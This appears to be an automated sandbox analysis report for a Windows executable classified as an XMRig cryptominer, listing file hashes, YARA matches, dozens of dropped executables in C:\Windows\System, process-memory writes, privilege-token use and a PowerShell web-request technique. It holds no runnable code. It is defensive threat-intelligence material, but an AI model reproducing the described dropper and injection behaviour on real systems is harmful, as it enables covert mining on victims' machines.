xmrig | cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931

Analysis

max time kernel
32s
max time network
119s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
18-11-2024 12:14

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
Size

1.3MB
MD5

bf86bb9d93cc8cde225af03b1adf1100
SHA1

80fb464fb940753f538f2de501e47763fdd376b7
SHA256

cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931
SHA512

e64367fc435e69a16868e8b5387abf3c126bbf1febff55d1b260b797c5431d70e7790555450f9d335c2da9d9efaf9cdfc3af60a350453ec9f90a85b035255556
SSDEEP

24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7N4b:Lz071uv4BPMkibTIA5JnJ1y

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 24 IoCs

miner

resource	yara_rule
behavioral1/memory/2212-13-0x000000013F520000-0x000000013F912000-memory.dmp	xmrig
behavioral1/memory/1824-433-0x000000013F0D0000-0x000000013F4C2000-memory.dmp	xmrig
behavioral1/memory/3004-442-0x000000013F2E0000-0x000000013F6D2000-memory.dmp	xmrig
behavioral1/memory/2636-1150-0x000000013F9D0000-0x000000013FDC2000-memory.dmp	xmrig
behavioral1/memory/2272-440-0x000000013FA30000-0x000000013FE22000-memory.dmp	xmrig
behavioral1/memory/2172-438-0x000000013FF70000-0x0000000140362000-memory.dmp	xmrig
behavioral1/memory/1292-435-0x000000013F190000-0x000000013F582000-memory.dmp	xmrig
behavioral1/memory/2444-431-0x000000013F4A0000-0x000000013F892000-memory.dmp	xmrig
behavioral1/memory/2408-429-0x000000013FBB0000-0x000000013FFA2000-memory.dmp	xmrig
behavioral1/memory/2676-427-0x000000013FBE0000-0x000000013FFD2000-memory.dmp	xmrig
behavioral1/memory/2596-421-0x000000013FF00000-0x00000001402F2000-memory.dmp	xmrig
behavioral1/memory/2648-419-0x000000013F560000-0x000000013F952000-memory.dmp	xmrig
behavioral1/memory/1292-4905-0x000000013F190000-0x000000013F582000-memory.dmp	xmrig
behavioral1/memory/2596-4944-0x000000013FF00000-0x00000001402F2000-memory.dmp	xmrig
behavioral1/memory/2408-4947-0x000000013FBB0000-0x000000013FFA2000-memory.dmp	xmrig
behavioral1/memory/2676-4904-0x000000013FBE0000-0x000000013FFD2000-memory.dmp	xmrig
behavioral1/memory/2444-4903-0x000000013F4A0000-0x000000013F892000-memory.dmp	xmrig
behavioral1/memory/2648-4902-0x000000013F560000-0x000000013F952000-memory.dmp	xmrig
behavioral1/memory/2212-4901-0x000000013F520000-0x000000013F912000-memory.dmp	xmrig
behavioral1/memory/3004-5046-0x000000013F2E0000-0x000000013F6D2000-memory.dmp	xmrig
behavioral1/memory/2172-5085-0x000000013FF70000-0x0000000140362000-memory.dmp	xmrig
behavioral1/memory/1824-5084-0x000000013F0D0000-0x000000013F4C2000-memory.dmp	xmrig
behavioral1/memory/2636-5045-0x000000013F9D0000-0x000000013FDC2000-memory.dmp	xmrig
behavioral1/memory/2272-5270-0x000000013FA30000-0x000000013FE22000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2888	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2212	UqbjgBb.exe
2636	sCQkCQX.exe
2648	pmBepwu.exe
2596	jQyszEQ.exe
2676	zELQEQt.exe
2408	fwqQVGa.exe
2444	DjRGlBI.exe
1824	etkYarA.exe
1292	XvKFbSn.exe
2172	YUvTtFM.exe
2272	yRSxxwI.exe
3004	tpCHyQO.exe
2848	CjHsYTg.exe
2816	YMLHJKX.exe
2984	iwUZkbk.exe
3016	YNSROYm.exe
2692	vOLWqmw.exe
3056	CJluJSs.exe
2296	OrOrHRV.exe
2440	FTGjXMp.exe
1864	fuPdEBT.exe
1872	eXSaonF.exe
1992	ijQPOvw.exe
2204	BUvcRZW.exe
2120	vOmtpbl.exe
2392	GLwuwSB.exe
2548	SWFMPQq.exe
2364	mpuTfYk.exe
1352	NmqoJMx.exe
1752	ccRzQrk.exe
1768	fyKAHUv.exe
560	oYGTQGA.exe
1316	pseAtBf.exe
2056	RjblwKG.exe
828	WBEBxpD.exe
1604	OAxhHtn.exe
2556	KmbsKmu.exe
3068	YCEuyZx.exe
2040	VHgkdFH.exe
888	EPzLzBh.exe
1760	sAgcaTb.exe
1856	vqtGSGQ.exe
1712	ixVGCiC.exe
1780	FzpMuGs.exe
1580	RQbuvMv.exe
1964	JIaCSXj.exe
2560	EBdGorw.exe
1680	clKkOHq.exe
1288	RUxPLGN.exe
2688	rHITZPv.exe
784	SdPGWFO.exe
1788	TwDKIbl.exe
2516	XRYwpBb.exe
628	MNVfRDM.exe
276	vENBpxm.exe
2512	nUYXwZM.exe
2508	JNMqkbh.exe
3064	llHPQAC.exe
2000	KmNjSXl.exe
884	wZFGjmP.exe
876	woWQWwc.exe
1388	VVvPAdz.exe
1028	GTXuzVs.exe
2880	sooJTLq.exe

Loads dropped DLL 64 IoCs

pid	Process
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe

UPX packed file 58 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2748-0-0x000000013F330000-0x000000013F722000-memory.dmp	upx
behavioral1/files/0x000a00000001225f-6.dat	upx
behavioral1/memory/2212-13-0x000000013F520000-0x000000013F912000-memory.dmp	upx
behavioral1/files/0x0008000000016d0e-17.dat	upx
behavioral1/files/0x0007000000003cf2-22.dat	upx
behavioral1/files/0x0009000000016d1f-27.dat	upx
behavioral1/files/0x0007000000016d3b-29.dat	upx
behavioral1/files/0x0007000000016d42-36.dat	upx
behavioral1/files/0x0007000000016d46-42.dat	upx
behavioral1/files/0x0008000000016d66-46.dat	upx
behavioral1/files/0x00050000000194d0-51.dat	upx
behavioral1/files/0x0005000000019581-82.dat	upx
behavioral1/files/0x00050000000195c0-86.dat	upx
behavioral1/files/0x00050000000195ff-110.dat	upx
behavioral1/files/0x0005000000019615-126.dat	upx
behavioral1/memory/2636-294-0x000000013F9D0000-0x000000013FDC2000-memory.dmp	upx
behavioral1/memory/1824-433-0x000000013F0D0000-0x000000013F4C2000-memory.dmp	upx
behavioral1/memory/3004-442-0x000000013F2E0000-0x000000013F6D2000-memory.dmp	upx
behavioral1/memory/2636-1150-0x000000013F9D0000-0x000000013FDC2000-memory.dmp	upx
behavioral1/memory/2272-440-0x000000013FA30000-0x000000013FE22000-memory.dmp	upx
behavioral1/memory/2172-438-0x000000013FF70000-0x0000000140362000-memory.dmp	upx
behavioral1/memory/1292-435-0x000000013F190000-0x000000013F582000-memory.dmp	upx
behavioral1/memory/2444-431-0x000000013F4A0000-0x000000013F892000-memory.dmp	upx
behavioral1/memory/2408-429-0x000000013FBB0000-0x000000013FFA2000-memory.dmp	upx
behavioral1/memory/2676-427-0x000000013FBE0000-0x000000013FFD2000-memory.dmp	upx
behavioral1/memory/2596-421-0x000000013FF00000-0x00000001402F2000-memory.dmp	upx
behavioral1/memory/2648-419-0x000000013F560000-0x000000013F952000-memory.dmp	upx
behavioral1/files/0x0005000000019c32-146.dat	upx
behavioral1/files/0x0005000000019999-142.dat	upx
behavioral1/files/0x00050000000196ed-138.dat	upx
behavioral1/files/0x000500000001969b-134.dat	upx
behavioral1/files/0x0005000000019659-130.dat	upx
behavioral1/files/0x0005000000019605-122.dat	upx
behavioral1/files/0x0005000000019603-118.dat	upx
behavioral1/files/0x0005000000019601-115.dat	upx
behavioral1/files/0x00050000000195fe-107.dat	upx
behavioral1/files/0x00050000000195fd-103.dat	upx
behavioral1/files/0x00050000000195fb-98.dat	upx
behavioral1/files/0x00050000000195f9-95.dat	upx
behavioral1/files/0x00050000000195f7-90.dat	upx
behavioral1/files/0x000500000001955c-78.dat	upx
behavioral1/files/0x0005000000019551-74.dat	upx
behavioral1/files/0x00050000000194e6-70.dat	upx
behavioral1/files/0x0036000000016ca5-67.dat	upx
behavioral1/files/0x00050000000194e4-63.dat	upx
behavioral1/files/0x00050000000194da-58.dat	upx
behavioral1/memory/1292-4905-0x000000013F190000-0x000000013F582000-memory.dmp	upx
behavioral1/memory/2596-4944-0x000000013FF00000-0x00000001402F2000-memory.dmp	upx
behavioral1/memory/2408-4947-0x000000013FBB0000-0x000000013FFA2000-memory.dmp	upx
behavioral1/memory/2676-4904-0x000000013FBE0000-0x000000013FFD2000-memory.dmp	upx
behavioral1/memory/2444-4903-0x000000013F4A0000-0x000000013F892000-memory.dmp	upx
behavioral1/memory/2648-4902-0x000000013F560000-0x000000013F952000-memory.dmp	upx
behavioral1/memory/2212-4901-0x000000013F520000-0x000000013F912000-memory.dmp	upx
behavioral1/memory/3004-5046-0x000000013F2E0000-0x000000013F6D2000-memory.dmp	upx
behavioral1/memory/2172-5085-0x000000013FF70000-0x0000000140362000-memory.dmp	upx
behavioral1/memory/1824-5084-0x000000013F0D0000-0x000000013F4C2000-memory.dmp	upx
behavioral1/memory/2636-5045-0x000000013F9D0000-0x000000013FDC2000-memory.dmp	upx
behavioral1/memory/2272-5270-0x000000013FA30000-0x000000013FE22000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\REhMXvJ.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\Erqcimr.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\YUvTtFM.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\PNZZNci.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\SdFCeJf.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\UsDrHVe.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\VHEVSIp.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\rXwHwLa.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\LXDpEsy.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\zRWZRdJ.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\BlPzEUj.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\HacDZYU.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\kesZAwi.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\YvUYbQB.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\xcooDDm.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\dmAdZGI.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\KAzPgkq.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\kmhLnvs.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\LIUIzEL.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\AGoEINZ.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\MmMKjag.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\uZmgfKE.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\CtQMWtv.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\xqsNRga.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\VrlsiLa.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\dozleBR.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\PidOWfn.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\wjvvqyS.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\VjJnmbj.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\PJeduMC.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\ikfAyLA.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\kifUghh.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\SKNoqCX.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\aoJoFZb.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\LwJerzN.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\BcfphYX.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\pmBepwu.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\PDjPcAl.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\BTpSHLG.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\YYbONWR.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\ZSEpgUN.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\qvsnfsf.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\KPMiIqa.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\UrkzFdt.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\hKdfOtG.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\NaOFlGa.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\yQnLmRD.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\LhEFEAc.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\MRbddKt.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\WGUHlBy.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\hrUOayq.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\sBoQdya.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\cMzQHVy.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\eGVBUxn.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\brByCEH.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\jcyDnYM.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\zELQEQt.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\zNKaJbo.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\FffjeKD.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\uUdCZuw.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\xNprOQJ.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\eBapvKI.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\RTrtojQ.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
File created	C:\Windows\System\sDySMbt.exe	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2888	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
Token: SeLockMemoryPrivilege	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe
Token: SeDebugPrivilege	2888	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2748 wrote to memory of 2888	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	32
PID 2748 wrote to memory of 2888	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	32
PID 2748 wrote to memory of 2888	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	32
PID 2748 wrote to memory of 2212	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	33
PID 2748 wrote to memory of 2212	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	33
PID 2748 wrote to memory of 2212	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	33
PID 2748 wrote to memory of 2636	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	34
PID 2748 wrote to memory of 2636	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	34
PID 2748 wrote to memory of 2636	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	34
PID 2748 wrote to memory of 2648	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	35
PID 2748 wrote to memory of 2648	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	35
PID 2748 wrote to memory of 2648	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	35
PID 2748 wrote to memory of 2596	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	36
PID 2748 wrote to memory of 2596	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	36
PID 2748 wrote to memory of 2596	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	36
PID 2748 wrote to memory of 2676	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	37
PID 2748 wrote to memory of 2676	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	37
PID 2748 wrote to memory of 2676	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	37
PID 2748 wrote to memory of 2408	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	38
PID 2748 wrote to memory of 2408	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	38
PID 2748 wrote to memory of 2408	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	38
PID 2748 wrote to memory of 2444	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	39
PID 2748 wrote to memory of 2444	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	39
PID 2748 wrote to memory of 2444	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	39
PID 2748 wrote to memory of 1824	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	40
PID 2748 wrote to memory of 1824	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	40
PID 2748 wrote to memory of 1824	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	40
PID 2748 wrote to memory of 1292	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	41
PID 2748 wrote to memory of 1292	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	41
PID 2748 wrote to memory of 1292	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	41
PID 2748 wrote to memory of 2172	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	42
PID 2748 wrote to memory of 2172	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	42
PID 2748 wrote to memory of 2172	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	42
PID 2748 wrote to memory of 2272	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	43
PID 2748 wrote to memory of 2272	2748	cd1a65d193afee60ef7e78db5a4b8e4fabccd63668319ff1079ad7381c336931N.exe	43
